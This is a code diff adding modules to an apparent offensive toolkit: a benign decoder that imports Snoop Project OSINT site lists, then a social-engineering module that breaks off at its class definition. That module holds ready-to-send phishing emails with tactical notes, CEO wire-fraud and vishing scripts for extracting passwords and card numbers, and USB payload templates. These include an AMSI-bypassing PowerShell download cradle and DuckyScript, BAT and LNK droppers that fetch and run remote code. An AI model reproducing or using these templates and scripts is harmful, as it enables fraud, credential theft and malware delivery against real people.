+from core.sites_db import SitesDatabase
+
+# Module metadata
+NAME = "Snoop Decoder"
+DESCRIPTION = "Decrypt and import Snoop Project databases"
+AUTHOR = "darkHal Security Group"
+VERSION = "1.0"
+CATEGORY = "osint"
+
+
+class SnoopDecoder:
+ """Decoder for Snoop Project encoded databases."""
+
+ def __init__(self):
+ self.sites_db = SitesDatabase()
+ from core.paths import get_data_dir
+ self.data_dir = get_data_dir() / "sites"
+ self.data_dir.mkdir(parents=True, exist_ok=True)
+
+ def decode_database(self, filepath: str) -> dict:
+ """Decode a Snoop database file.
+
+ Args:
+ filepath: Path to the encoded database file (BDdemo, BDfull, etc.)
+
+ Returns:
+ Decoded dictionary of sites.
+ """
+ print(f"{Colors.CYAN}[*] Reading encoded database...{Colors.RESET}")
+
+ with open(filepath, 'r', encoding='utf8') as f:
+ db = f.read().strip()
+
+ original_size = len(db)
+ print(f"{Colors.DIM} Original size: {original_size:,} chars{Colors.RESET}")
+
+ # Step 1: Decode base32
+ print(f"{Colors.CYAN}[*] Decoding base32...{Colors.RESET}")
+ try:
+ db_bytes = base64.b32decode(db)
+ except Exception as e:
+ print(f"{Colors.RED}[X] Base32 decode failed: {e}{Colors.RESET}")
+ return None
+
+ print(f"{Colors.DIM} After base32: {len(db_bytes):,} bytes{Colors.RESET}")
+
+ # Step 2: Reverse bytes
+ print(f"{Colors.CYAN}[*] Reversing byte order...{Colors.RESET}")
+ db_bytes = db_bytes[::-1]
+
+ # Step 3: Decode UTF-8 with error handling
+ print(f"{Colors.CYAN}[*] Decoding UTF-8...{Colors.RESET}")
+ content = db_bytes.decode('utf-8', errors='replace')
+
+ # Step 4: Reverse string
+ print(f"{Colors.CYAN}[*] Reversing string...{Colors.RESET}")
+ content = content[::-1]
+
+ # Step 5: Parse JSON
+ print(f"{Colors.CYAN}[*] Parsing JSON...{Colors.RESET}")
+ try:
+ data = json.loads(content)
+ except json.JSONDecodeError as e:
+ print(f"{Colors.RED}[X] JSON parse failed: {e}{Colors.RESET}")
+ return None
+
+ print(f"{Colors.GREEN}[+] Successfully decoded {len(data):,} sites!{Colors.RESET}")
+ return data
+
+ def save_decoded(self, data: dict, output_name: str = "snoop_decoded.json") -> str:
+ """Save decoded database to JSON file.
+
+ Args:
+ data: Decoded site dictionary.
+ output_name: Output filename.
+
+ Returns:
+ Path to saved file.
+ """
+ output_path = self.data_dir / output_name
+
+ with open(output_path, 'w', encoding='utf8') as f:
+ json.dump(data, f, indent=2, ensure_ascii=False)
+
+ size_mb = output_path.stat().st_size / 1024 / 1024
+ print(f"{Colors.GREEN}[+] Saved to: {output_path}{Colors.RESET}")
+ print(f"{Colors.DIM} File size: {size_mb:.2f} MB{Colors.RESET}")
+
+ return str(output_path)
+
+ def import_to_database(self, data: dict) -> dict:
+ """Import decoded Snoop data into AUTARCH sites database.
+
+ Args:
+ data: Decoded site dictionary.
+
+ Returns:
+ Import statistics.
+ """
+ print(f"\n{Colors.CYAN}[*] Importing to AUTARCH database...{Colors.RESET}")
+
+ sites_to_add = []
+ skipped = 0
+
+ for name, entry in data.items():
+ if not isinstance(entry, dict):
+ skipped += 1
+ continue
+
+ url = entry.get('url', '')
+ if not url or '{}' not in url:
+ skipped += 1
+ continue
+
+ # Get error type - handle encoding issues in key name
+ error_type = None
+ for key in entry.keys():
+ if 'errorTyp' in key or 'errortype' in key.lower():
+ error_type = entry[key]
+ break
+
+ # Map Snoop error types to detection methods
+ detection_method = 'status'
+ if error_type:
+ if 'message' in str(error_type).lower():
+ detection_method = 'content'
+ elif 'redirect' in str(error_type).lower():
+ detection_method = 'redirect'
+
+ # Get error message pattern
+ error_pattern = None
+ for key in ['errorMsg', 'errorMsg2']:
+ if key in entry and entry[key]:
+ error_pattern = str(entry[key])
+ break
+
+ sites_to_add.append({
+ 'name': name,
+ 'url_template': url,
+ 'url_main': entry.get('urlMain'),
+ 'detection_method': detection_method,
+ 'error_pattern': error_pattern,
+ 'category': 'other',
+ 'nsfw': 0,
+ })
+
+ print(f"{Colors.DIM} Valid sites: {len(sites_to_add):,}{Colors.RESET}")
+ print(f"{Colors.DIM} Skipped: {skipped:,}{Colors.RESET}")
+
+ # Add to database
+ stats = self.sites_db.add_sites_bulk(sites_to_add)
+
+ print(f"{Colors.GREEN}[+] Import complete!{Colors.RESET}")
+ print(f"{Colors.DIM} Added: {stats['added']:,}{Colors.RESET}")
+ print(f"{Colors.DIM} Errors: {stats['errors']:,}{Colors.RESET}")
+
+ return stats
+
+ def show_sample(self, data: dict, count: int = 10):
+ """Display sample sites from decoded database.
+
+ Args:
+ data: Decoded site dictionary.
+ count: Number of samples to show.
+ """
+ print(f"\n{Colors.CYAN}Sample Sites ({count}):{Colors.RESET}")
+ print("-" * 60)
+
+ for i, (name, info) in enumerate(list(data.items())[:count]):
+ url = info.get('url', 'N/A')
+ country = info.get('country', '')
+ print(f" {country} {Colors.GREEN}{name}{Colors.RESET}")
+ print(f" {Colors.DIM}{url[:55]}...{Colors.RESET}" if len(url) > 55 else f" {Colors.DIM}{url}{Colors.RESET}")
+
+ def get_stats(self, data: dict) -> dict:
+ """Get statistics about decoded database.
+
+ Args:
+ data: Decoded site dictionary.
+
+ Returns:
+ Statistics dictionary.
+ """
+ stats = {
+ 'total_sites': len(data),
+ 'by_country': {},
+ 'detection_methods': {'status_code': 0, 'message': 0, 'redirection': 0, 'other': 0},
+ }
+
+ for name, info in data.items():
+ # Country stats
+ country = info.get('country_klas', 'Unknown')
+ stats['by_country'][country] = stats['by_country'].get(country, 0) + 1
+
+ # Detection method stats
+ error_type = None
+ for key in info.keys():
+ if 'errorTyp' in key:
+ error_type = str(info[key]).lower()
+ break
+
+ if error_type:
+ if 'status' in error_type:
+ stats['detection_methods']['status_code'] += 1
+ elif 'message' in error_type:
+ stats['detection_methods']['message'] += 1
+ elif 'redirect' in error_type:
+ stats['detection_methods']['redirection'] += 1
+ else:
+ stats['detection_methods']['other'] += 1
+ else:
+ stats['detection_methods']['other'] += 1
+
+ return stats
+
+
+def display_menu():
+ """Display the Snoop Decoder menu."""
+ print(f"""
+{Colors.CYAN} Snoop Database Decoder{Colors.RESET}
+{Colors.DIM} Decrypt and import Snoop Project databases{Colors.RESET}
+{Colors.DIM}{'─' * 50}{Colors.RESET}
+
+ {Colors.GREEN}[1]{Colors.RESET} Decode Snoop Database File
+ {Colors.GREEN}[2]{Colors.RESET} Decode & Import to AUTARCH
+ {Colors.GREEN}[3]{Colors.RESET} View Current Sites Database Stats
+
+ {Colors.GREEN}[4]{Colors.RESET} Quick Import (BDfull from snoop-master)
+ {Colors.GREEN}[5]{Colors.RESET} Quick Import (BDdemo from snoop-master)
+
+ {Colors.RED}[0]{Colors.RESET} Back to OSINT Menu
+""")
+
+
+def get_file_path() -> str:
+ """Prompt user for file path."""
+ print(f"\n{Colors.CYAN}Enter path to Snoop database file:{Colors.RESET}")
+ print(f"{Colors.DIM}(e.g., /path/to/BDfull or /path/to/BDdemo){Colors.RESET}")
+
+ filepath = input(f"\n{Colors.GREEN}Path: {Colors.RESET}").strip()
+
+ if not filepath:
+ return None
+
+ if not os.path.exists(filepath):
+ print(f"{Colors.RED}[X] File not found: {filepath}{Colors.RESET}")
+ return None
+
+ return filepath
+
+
+def run():
+ """Main entry point for the module."""
+ decoder = SnoopDecoder()
+
+ # Common paths for Snoop databases
+ from core.paths import get_app_dir, get_data_dir
+ _app = get_app_dir()
+ _data = get_data_dir()
+ snoop_paths = {
+ 'bdfull': _app / "snoop" / "snoop-master" / "BDfull",
+ 'bddemo': _app / "snoop" / "snoop-master" / "BDdemo",
+ 'bdfull_alt': _data / "snoop" / "BDfull",
+ 'bddemo_alt': _data / "snoop" / "BDdemo",
+ }
+
+ while True:
+ display_menu()
+
+ choice = input(f"{Colors.GREEN}Select option: {Colors.RESET}").strip()
+
+ if choice == '0':
+ break
+
+ elif choice == '1':
+ # Decode only
+ filepath = get_file_path()
+ if not filepath:
+ continue
+
+ data = decoder.decode_database(filepath)
+ if data:
+ decoder.show_sample(data)
+
+ stats = decoder.get_stats(data)
+ print(f"\n{Colors.CYAN}Database Statistics:{Colors.RESET}")
+ print(f" Total sites: {stats['total_sites']:,}")
+ print(f" Detection methods: {stats['detection_methods']}")
+ print(f" Top countries: {dict(sorted(stats['by_country'].items(), key=lambda x: -x[1])[:10])}")
+
+ # Ask to save
+ save = input(f"\n{Colors.YELLOW}Save decoded JSON? (y/n): {Colors.RESET}").strip().lower()
+ if save == 'y':
+ name = input(f"{Colors.GREEN}Output filename [snoop_decoded.json]: {Colors.RESET}").strip()
+ decoder.save_decoded(data, name if name else "snoop_decoded.json")
+
+ elif choice == '2':
+ # Decode and import
+ filepath = get_file_path()
+ if not filepath:
+ continue
+
+ data = decoder.decode_database(filepath)
+ if data:
+ decoder.show_sample(data, 5)
+
+ confirm = input(f"\n{Colors.YELLOW}Import {len(data):,} sites to AUTARCH? (y/n): {Colors.RESET}").strip().lower()
+ if confirm == 'y':
+ # Save first
+ decoder.save_decoded(data, "snoop_imported.json")
+ # Then import
+ decoder.import_to_database(data)
+
+ # Show final stats
+ db_stats = decoder.sites_db.get_stats()
+ print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}")
+
+ elif choice == '3':
+ # View current stats
+ stats = decoder.sites_db.get_stats()
+ print(f"\n{Colors.CYAN}AUTARCH Sites Database:{Colors.RESET}")
+ print(f" Total sites: {stats['total_sites']:,}")
+ print(f" NSFW sites: {stats['nsfw_sites']:,}")
+ print(f" Database size: {stats['db_size_mb']:.2f} MB")
+ print(f"\n {Colors.CYAN}By Source:{Colors.RESET}")
+ for source, count in sorted(stats['by_source'].items(), key=lambda x: -x[1]):
+ print(f" {source}: {count:,}")
+ input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}")
+
+ elif choice == '4':
+ # Quick import BDfull
+ bdpath = None
+ for key in ['bdfull', 'bdfull_alt']:
+ if snoop_paths[key].exists():
+ bdpath = str(snoop_paths[key])
+ break
+
+ if not bdpath:
+ print(f"{Colors.RED}[X] BDfull not found in known locations{Colors.RESET}")
+ print(f"{Colors.DIM} Checked: {snoop_paths['bdfull']}{Colors.RESET}")
+ print(f"{Colors.DIM} Checked: {snoop_paths['bdfull_alt']}{Colors.RESET}")
+ continue
+
+ print(f"{Colors.GREEN}[+] Found BDfull: {bdpath}{Colors.RESET}")
+
+ data = decoder.decode_database(bdpath)
+ if data:
+ confirm = input(f"\n{Colors.YELLOW}Import {len(data):,} sites? (y/n): {Colors.RESET}").strip().lower()
+ if confirm == 'y':
+ decoder.save_decoded(data, "snoop_full.json")
+ decoder.import_to_database(data)
+
+ db_stats = decoder.sites_db.get_stats()
+ print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}")
+
+ elif choice == '5':
+ # Quick import BDdemo
+ bdpath = None
+ for key in ['bddemo', 'bddemo_alt']:
+ if snoop_paths[key].exists():
+ bdpath = str(snoop_paths[key])
+ break
+
+ if not bdpath:
+ print(f"{Colors.RED}[X] BDdemo not found in known locations{Colors.RESET}")
+ continue
+
+ print(f"{Colors.GREEN}[+] Found BDdemo: {bdpath}{Colors.RESET}")
+
+ data = decoder.decode_database(bdpath)
+ if data:
+ confirm = input(f"\n{Colors.YELLOW}Import {len(data):,} sites? (y/n): {Colors.RESET}").strip().lower()
+ if confirm == 'y':
+ decoder.save_decoded(data, "snoop_demo.json")
+ decoder.import_to_database(data)
+
+ db_stats = decoder.sites_db.get_stats()
+ print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}")
+
+ else:
+ print(f"{Colors.RED}[!] Invalid option{Colors.RESET}")
+
+
+if __name__ == "__main__":
+ run()
diff --git a/modules/social_eng.py b/modules/social_eng.py
new file mode 100644
index 0000000..1f62083
--- /dev/null
+++ b/modules/social_eng.py
@@ -0,0 +1,1305 @@
+"""AUTARCH Social Engineering Toolkit
+
+Credential harvesting page cloner, pretexting templates, QR code phishing,
+USB drop payloads, vishing scripts, and campaign tracking.
+"""
+
+DESCRIPTION = "Social engineering — phishing, pretexts, QR codes"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "offense"
+
+import os
+import re
+import json
+import time
+import uuid
+import base64
+import struct
+import hashlib
+import threading
+from pathlib import Path
+from datetime import datetime, timezone
+from typing import Dict, List, Optional, Any
+from urllib.parse import urljoin, urlparse
+
+try:
+ from core.paths import get_data_dir
+except ImportError:
+ def get_data_dir():
+ return str(Path(__file__).parent.parent / 'data')
+
+try:
+ import requests
+ REQUESTS_AVAILABLE = True
+except ImportError:
+ requests = None
+ REQUESTS_AVAILABLE = False
+
+try:
+ import qrcode
+ import io as _io
+ QRCODE_AVAILABLE = True
+except ImportError:
+ qrcode = None
+ QRCODE_AVAILABLE = False
+
+
+# ── Pretext Templates ────────────────────────────────────────────────────────
+
+PRETEXT_TEMPLATES = {
+ 'it_support': [
+ {
+ 'name': 'Password Reset',
+ 'subject': 'Immediate Action Required: Password Reset',
+ 'body': (
+ 'Dear {target_name},\n\n'
+ 'Our security team has detected unusual activity on your account. '
+ 'As a precautionary measure, we require all employees to reset their '
+ 'passwords within the next 24 hours.\n\n'
+ 'Please click the link below to verify your identity and set a new password:\n'
+ '{link}\n\n'
+ 'If you did not request this change, please contact the IT Help Desk immediately '
+ 'at ext. 4357.\n\n'
+ 'Best regards,\n'
+ 'IT Security Team'
+ ),
+ 'pretext_notes': 'Urgency + authority. Works best when sent from a spoofed IT domain. '
+ 'Follow up with a phone call referencing the email for higher success rates.',
+ },
+ {
+ 'name': 'Security Update Required',
+ 'subject': 'Critical Security Patch — Action Required by EOD',
+ 'body': (
+ 'Hi {target_name},\n\n'
+ 'A critical security vulnerability has been identified that affects your workstation. '
+ 'IT has prepared an automated patch that must be installed today.\n\n'
+ 'Please run the update tool at the link below:\n'
+ '{link}\n\n'
+ 'Note: You may need to enter your network credentials to authenticate the update.\n\n'
+ 'Thank you for your cooperation,\n'
+ 'IT Infrastructure Team'
+ ),
+ 'pretext_notes': 'Leverages fear of security breach. Pair with a fake update portal.',
+ },
+ {
+ 'name': 'VPN Reconfiguration',
+ 'subject': 'VPN Client Reconfiguration — New Certificate Required',
+ 'body': (
+ 'Dear {target_name},\n\n'
+ 'Due to our migration to a new security infrastructure, all VPN certificates '
+ 'will expire at midnight tonight. To maintain remote access, please download '
+ 'the new VPN configuration file:\n'
+ '{link}\n\n'
+ 'You will need to authenticate with your current credentials to generate '
+ 'a new certificate.\n\n'
+ 'Questions? Contact the Network Operations Center at noc@{domain}\n\n'
+ 'Regards,\n'
+ 'Network Security Team'
+ ),
+ 'pretext_notes': 'Effective against remote workers. The VPN config file can be a payload.',
+ },
+ ],
+ 'hr': [
+ {
+ 'name': 'Benefits Enrollment',
+ 'subject': 'Open Enrollment Period — Benefits Selection Deadline',
+ 'body': (
+ 'Dear {target_name},\n\n'
+ 'The annual open enrollment period for employee benefits closes on Friday. '
+ 'If you have not yet made your selections, please log in to the benefits '
+ 'portal to review your options:\n'
+ '{link}\n\n'
+ 'Failure to complete enrollment by the deadline will result in default '
+ 'coverage being applied.\n\n'
+ 'Human Resources Department'
+ ),
+ 'pretext_notes': 'Time pressure on something people care about. High click rates.',
+ },
+ {
+ 'name': 'Policy Update Acknowledgement',
+ 'subject': 'Updated Company Policy — Acknowledgement Required',
+ 'body': (
+ 'Dear {target_name},\n\n'
+ 'Our legal department has updated the Employee Handbook and Acceptable Use Policy. '
+ 'All employees are required to review and acknowledge the changes by {deadline}.\n\n'
+ 'Please read and sign the updated documents here:\n'
+ '{link}\n\n'
+ 'Thank you,\n'
+ 'HR Compliance'
+ ),
+ 'pretext_notes': 'Compliance obligation creates urgency. Rarely questioned.',
+ },
+ {
+ 'name': 'Employee Survey',
+ 'subject': 'Annual Employee Satisfaction Survey — Your Input Matters',
+ 'body': (
+ 'Hi {target_name},\n\n'
+ 'We value your feedback! Please take 5 minutes to complete our annual '
+ 'employee satisfaction survey. Your responses are anonymous and will help '
+ 'shape company improvements.\n\n'
+ 'Complete the survey here: {link}\n\n'
+ 'Survey closes {deadline}.\n\n'
+ 'Thank you,\n'
+ 'People & Culture Team'
+ ),
+ 'pretext_notes': 'Low suspicion — surveys are common. Good for initial reconnaissance.',
+ },
+ ],
+ 'vendor': [
+ {
+ 'name': 'Invoice Payment',
+ 'subject': 'Invoice #{invoice_num} — Payment Due',
+ 'body': (
+ 'Dear Accounts Payable,\n\n'
+ 'Please find attached Invoice #{invoice_num} for services rendered during '
+ 'the previous billing period. Payment is due within 30 days.\n\n'
+ 'To view and pay the invoice online:\n'
+ '{link}\n\n'
+ 'If you have questions about this invoice, please contact our billing '
+ 'department at billing@{vendor_domain}\n\n'
+ 'Best regards,\n'
+ '{vendor_name}\n'
+ 'Accounts Receivable'
+ ),
+ 'pretext_notes': 'Target finance/AP departments. Research real vendor names first.',
+ },
+ {
+ 'name': 'Service Renewal',
+ 'subject': 'Service Agreement Renewal — Action Required',
+ 'body': (
+ 'Dear {target_name},\n\n'
+ 'Your {service_name} subscription is due for renewal on {deadline}. '
+ 'To avoid service interruption, please review and approve the renewal terms:\n'
+ '{link}\n\n'
+ 'Current plan: {plan_name}\n'
+ 'Renewal amount: ${amount}\n\n'
+ 'Best regards,\n'
+ '{vendor_name} Renewals Team'
+ ),
+ 'pretext_notes': 'Service disruption fear. Research the target\'s actual vendors.',
+ },
+ {
+ 'name': 'Account Verification',
+ 'subject': 'Account Security Verification Required',
+ 'body': (
+ 'Dear {target_name},\n\n'
+ 'As part of our ongoing security measures, we need to verify your account '
+ 'information. Please log in and confirm your details:\n'
+ '{link}\n\n'
+ 'If you do not verify within 48 hours, your account may be temporarily suspended.\n\n'
+ 'Thank you,\n'
+ '{vendor_name} Security Team'
+ ),
+ 'pretext_notes': 'Account suspension threat. Clone the vendor login page for harvesting.',
+ },
+ ],
+ 'delivery': [
+ {
+ 'name': 'Package Tracking',
+ 'subject': 'Your Package Has Shipped — Tracking #{tracking_num}',
+ 'body': (
+ 'Your order has been shipped!\n\n'
+ 'Tracking Number: {tracking_num}\n'
+ 'Estimated Delivery: {delivery_date}\n\n'
+ 'Track your package in real-time:\n'
+ '{link}\n\n'
+ 'If you did not place this order, click here to report unauthorized activity:\n'
+ '{link}\n\n'
+ '{carrier_name} Shipping Notifications'
+ ),
+ 'pretext_notes': 'Curiosity + concern about unexpected package. High click rates.',
+ },
+ {
+ 'name': 'Missed Delivery',
+ 'subject': 'Delivery Attempt Failed — Reschedule Required',
+ 'body': (
+ 'We attempted to deliver your package today but no one was available to sign.\n\n'
+ 'Tracking: {tracking_num}\n'
+ 'Attempt: {attempt_date}\n\n'
+ 'To reschedule delivery or redirect to a pickup location:\n'
+ '{link}\n\n'
+ 'Your package will be held for 5 business days before being returned.\n\n'
+ '{carrier_name} Delivery Services'
+ ),
+ 'pretext_notes': 'Fear of missing a delivery. Works broadly across all demographics.',
+ },
+ ],
+ 'executive': [
+ {
+ 'name': 'CEO Wire Transfer',
+ 'subject': 'Urgent — Wire Transfer Needed Today',
+ 'body': (
+ 'Hi {target_name},\n\n'
+ 'I need you to process an urgent wire transfer today. I am in meetings '
+ 'all afternoon and cannot handle this myself.\n\n'
+ 'Amount: ${amount}\n'
+ 'Recipient: {recipient}\n'
+ 'Account details are in the attached document: {link}\n\n'
+ 'Please confirm once completed. This is time-sensitive.\n\n'
+ 'Thanks,\n'
+ '{exec_name}\n'
+ '{exec_title}'
+ ),
+ 'pretext_notes': 'Classic BEC/CEO fraud. Requires OSINT on exec names and targets in finance.',
+ },
+ {
+ 'name': 'Confidential Acquisition',
+ 'subject': 'Confidential — M&A Due Diligence Documents',
+ 'body': (
+ '{target_name},\n\n'
+ 'As discussed, I am sharing the preliminary due diligence documents for the '
+ 'upcoming acquisition. This is strictly confidential — do not forward.\n\n'
+ 'Secure document portal: {link}\n\n'
+ 'Please review before our meeting on {meeting_date}.\n\n'
+ '{exec_name}\n'
+ '{exec_title}'
+ ),
+ 'pretext_notes': 'Flattery (being included in confidential deal) + authority. '
+ 'Target senior staff who would plausibly be involved.',
+ },
+ ],
+ 'financial': [
+ {
+ 'name': 'Wire Transfer Confirmation',
+ 'subject': 'Wire Transfer Confirmation — ${amount}',
+ 'body': (
+ 'Dear {target_name},\n\n'
+ 'A wire transfer of ${amount} has been initiated from your account.\n\n'
+ 'Transaction ID: {txn_id}\n'
+ 'Date: {txn_date}\n'
+ 'Recipient: {recipient}\n\n'
+ 'If you authorized this transaction, no action is needed.\n'
+ 'If you did NOT authorize this transfer, click below immediately:\n'
+ '{link}\n\n'
+ '{bank_name} Fraud Prevention'
+ ),
+ 'pretext_notes': 'Panic about unauthorized money movement. Very high click rates.',
+ },
+ {
+ 'name': 'Tax Document',
+ 'subject': 'Your {tax_year} Tax Documents Are Ready',
+ 'body': (
+ 'Dear {target_name},\n\n'
+ 'Your {tax_year} W-2 / 1099 tax documents are now available for download '
+ 'through our secure portal:\n'
+ '{link}\n\n'
+ 'Please retrieve your documents before the filing deadline.\n\n'
+ 'Payroll Department\n'
+ '{company_name}'
+ ),
+ 'pretext_notes': 'Seasonal — most effective in January-April. Targets everyone.',
+ },
+ ],
+}
+
+
+# ── USB Payload Templates ────────────────────────────────────────────────────
+
+USB_PAYLOAD_TEMPLATES = {
+ 'autorun': {
+ 'name': 'Autorun.inf',
+ 'description': 'Classic autorun — triggers executable on USB insert (legacy systems)',
+ 'template': (
+ '[autorun]\n'
+ 'open={executable}\n'
+ 'icon={icon}\n'
+ 'action=Open folder to view files\n'
+ 'label={label}\n'
+ 'shell\\open\\command={executable}\n'
+ 'shell\\explore\\command={executable}\n'
+ ),
+ },
+ 'powershell_cradle': {
+ 'name': 'PowerShell Download Cradle',
+ 'description': 'PS1 script disguised as document — downloads and executes payload',
+ 'template': (
+ '# Disguise: rename to something enticing like "Salary_Review_2026.pdf.ps1"\n'
+ '$ErrorActionPreference = "SilentlyContinue"\n'
+ '# Disable AMSI for this session\n'
+ '[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").'
+ 'GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)\n'
+ '# Download and execute\n'
+ '$u = "{payload_url}"\n'
+ '$c = (New-Object System.Net.WebClient).DownloadString($u)\n'
+ 'IEX($c)\n'
+ '# Optional: open a decoy document\n'
+ '# Start-Process "https://hr.company.com/benefits"\n'
+ ),
+ },
+ 'hid_script': {
+ 'name': 'HID Script (Rubber Ducky DuckyScript)',
+ 'description': 'USB HID attack — keystroke injection via Rubber Ducky / BadUSB',
+ 'template': (
+ 'REM AUTARCH USB HID Payload\n'
+ 'REM Target: Windows\n'
+ 'DELAY 1000\n'
+ 'GUI r\n'
+ 'DELAY 500\n'
+ 'STRING powershell -w hidden -ep bypass -c "IEX((New-Object Net.WebClient).DownloadString(\'{payload_url}\'))"\n'
+ 'DELAY 100\n'
+ 'ENTER\n'
+ 'DELAY 2000\n'
+ 'REM Payload delivered\n'
+ ),
+ },
+ 'bat_file': {
+ 'name': 'BAT File Dropper',
+ 'description': 'Batch file disguised as document shortcut — downloads and runs payload',
+ 'template': (
+ '@echo off\n'
+ 'title Opening Document...\n'
+ 'echo Please wait while the document loads...\n'
+ 'REM Download payload\n'
+ 'powershell -w hidden -ep bypass -c "'
+ '$c=New-Object Net.WebClient;'
+ '$c.DownloadFile(\'{payload_url}\',\'%TEMP%\\svchost.exe\');'
+ 'Start-Process \'%TEMP%\\svchost.exe\'"\n'
+ 'REM Open decoy\n'
+ 'start "" "{decoy_url}"\n'
+ 'exit\n'
+ ),
+ },
+ 'lnk_dropper': {
+ 'name': 'LNK Shortcut Dropper',
+ 'description': 'Windows shortcut file command — executes hidden PowerShell on click',
+ 'template': (
+ 'REM Create this LNK with target:\n'
+ 'REM %comspec% /c powershell -w hidden -ep bypass -c "'
+ 'IEX((New-Object Net.WebClient).DownloadString(\'{payload_url}\'))"\n'
+ 'REM Icon: shell32.dll,3 (folder icon) or shell32.dll,1 (document)\n'
+ 'REM Name: Quarterly_Report or Shared_Photos\n'
+ ),
+ },
+ 'html_smuggling': {
+ 'name': 'HTML Smuggling',
+ 'description': 'HTML file that assembles and drops a payload via JavaScript',
+ 'template': (
+ '\n'
+ '{title} \n'
+ '\n'
+ 'Loading document... \n'
+ 'If the download does not start automatically, click here .
\n'
+ '\n'
+ '\n'
+ ),
+ },
+}
+
+
+# ── Vishing Scripts ──────────────────────────────────────────────────────────
+
+VISHING_SCRIPTS = {
+ 'it_helpdesk': {
+ 'name': 'IT Help Desk Call',
+ 'description': 'Impersonate IT support to extract credentials or install remote access',
+ 'opening': (
+ 'Hello, this is {caller_name} from the IT Help Desk. '
+ 'We are seeing some unusual activity on your network account and I need '
+ 'to verify a few things with you to make sure your account is secure.'
+ ),
+ 'key_questions': [
+ 'Can you confirm your full name and employee ID for verification?',
+ 'What department are you in?',
+ 'Are you currently logged in to your workstation?',
+ 'Have you noticed any unusual behavior — slow performance, unexpected pop-ups?',
+ 'I am going to need to push a security update to your machine. Can you open a browser and go to {url}?',
+ ],
+ 'credential_extraction': (
+ 'I need to verify your account is not compromised. Can you enter your '
+ 'username and current password on the verification page I just sent you? '
+ 'This is a secure IT portal — your credentials are encrypted.'
+ ),
+ 'objection_handling': {
+ 'why_calling': 'Our monitoring system flagged your account. We are reaching out to all affected users proactively.',
+ 'how_verify_you': 'You can call back on the main IT line at {phone} and ask for {caller_name} in Security Operations.',
+ 'not_comfortable': 'I completely understand. Let me have my supervisor {supervisor_name} call you back within 10 minutes.',
+ 'will_call_back': 'Of course. Please call the Help Desk at {phone} before 5 PM today, as we need to resolve this within our response window.',
+ },
+ 'closing': 'Thank you for your cooperation. I have updated your account status. If you notice anything unusual, call us at {phone}.',
+ },
+ 'bank_fraud': {
+ 'name': 'Bank Fraud Alert',
+ 'description': 'Impersonate bank fraud department to extract account details',
+ 'opening': (
+ 'Hello, this is {caller_name} from the {bank_name} Fraud Prevention Department. '
+ 'We are calling because we have detected a suspicious transaction on your account '
+ 'and we need to verify some information before we can proceed with blocking it.'
+ ),
+ 'key_questions': [
+ 'For verification, can you confirm the last four digits of your account number?',
+ 'What is the billing address associated with this account?',
+ 'Did you authorize a transaction of ${amount} to {merchant} on {date}?',
+ 'I need to verify your identity. Can you provide your date of birth?',
+ ],
+ 'credential_extraction': (
+ 'To block the fraudulent transaction and secure your account, I will need to '
+ 'verify your full card number and the security code on the back. This is to '
+ 'confirm you are the authorized account holder.'
+ ),
+ 'objection_handling': {
+ 'why_calling': 'Our automated fraud detection system flagged a ${amount} charge that does not match your normal spending pattern.',
+ 'how_verify_you': 'You can call the number on the back of your card and ask to be transferred to the fraud department.',
+ 'not_comfortable': 'I understand your concern. For your protection, I can place a temporary hold on the card while you verify through the bank app.',
+ 'will_call_back': 'Absolutely. Please call the number on the back of your card within the hour. Reference case number {case_num}.',
+ },
+ 'closing': 'I have placed a temporary hold on the suspicious transaction. You will receive a confirmation text shortly. Is there anything else I can help with?',
+ },
+ 'vendor_support': {
+ 'name': 'Vendor Technical Support',
+ 'description': 'Impersonate software vendor support for remote access installation',
+ 'opening': (
+ 'Hi, this is {caller_name} with {vendor_name} Support. We noticed that your '
+ 'organization\'s {product_name} license is showing some configuration errors '
+ 'that could lead to data loss. I\'d like to help resolve this quickly.'
+ ),
+ 'key_questions': [
+ 'Who is the primary administrator for your {product_name} installation?',
+ 'What version are you currently running?',
+ 'Are you able to access the admin console right now?',
+ 'I may need to connect remotely to diagnose the issue. Do you have remote access software available?',
+ ],
+ 'credential_extraction': (
+ 'To apply the fix, I will need your admin credentials for {product_name}. '
+ 'Alternatively, you can grant me temporary admin access through the portal at {url}.'
+ ),
+ 'objection_handling': {
+ 'why_calling': 'Our monitoring detected your instance is running a configuration that was flagged in security bulletin {bulletin_id}.',
+ 'how_verify_you': 'You can verify this call by contacting {vendor_name} support at {phone} and referencing ticket {ticket_id}.',
+ 'not_comfortable': 'No problem. I can send you detailed instructions via email and you can perform the fix yourself.',
+ 'will_call_back': 'Sure. The support ticket is {ticket_id}. Please call us back within 24 hours before the issue escalates.',
+ },
+ 'closing': 'The configuration has been updated. You should see the fix reflected within the next hour. If any issues arise, reference ticket {ticket_id}.',
+ },
+ 'ceo_urgent': {
+ 'name': 'CEO Urgent Request',
+ 'description': 'Impersonate executive for urgent financial action',
+ 'opening': (
+ 'Hi {target_name}, this is {exec_name}. I know this is short notice, '
+ 'but I need your help with something urgent and confidential. I am tied up '
+ 'in a board meeting and cannot handle this myself right now.'
+ ),
+ 'key_questions': [
+ 'Are you at your desk right now?',
+ 'Can you access the accounts payable system?',
+ 'Have you processed international wire transfers before?',
+ ],
+ 'credential_extraction': (
+ 'I need you to process a wire transfer for a time-sensitive acquisition. '
+ 'The details are in a secure document I will email you. Please use your '
+ 'credentials to authorize the transfer immediately.'
+ ),
+ 'objection_handling': {
+ 'why_calling': 'This is related to a confidential acquisition. I cannot discuss details over email for legal reasons.',
+ 'need_approval': 'I\'ve already approved this with the CFO. You can verify with {cfo_name} after the transfer — but we need to move now.',
+ 'not_comfortable': 'I understand, but this cannot wait. I\'ll take full responsibility. Just process it and I\'ll sign the authorization form when I\'m out of this meeting.',
+ 'unusual_request': 'I know this is irregular. That\'s why I\'m calling you personally instead of sending an email.',
+ },
+ 'closing': 'Thank you for handling this so quickly. I really appreciate it. I will follow up with the paperwork once I am out of this meeting.',
+ },
+}
+
+
+# ── Social Engineering Toolkit Class ─────────────────────────────────────────
+
+class SocialEngToolkit:
+ """Social engineering toolkit — page cloning, pretexts, QR codes, USB payloads."""
+
+ def __init__(self):
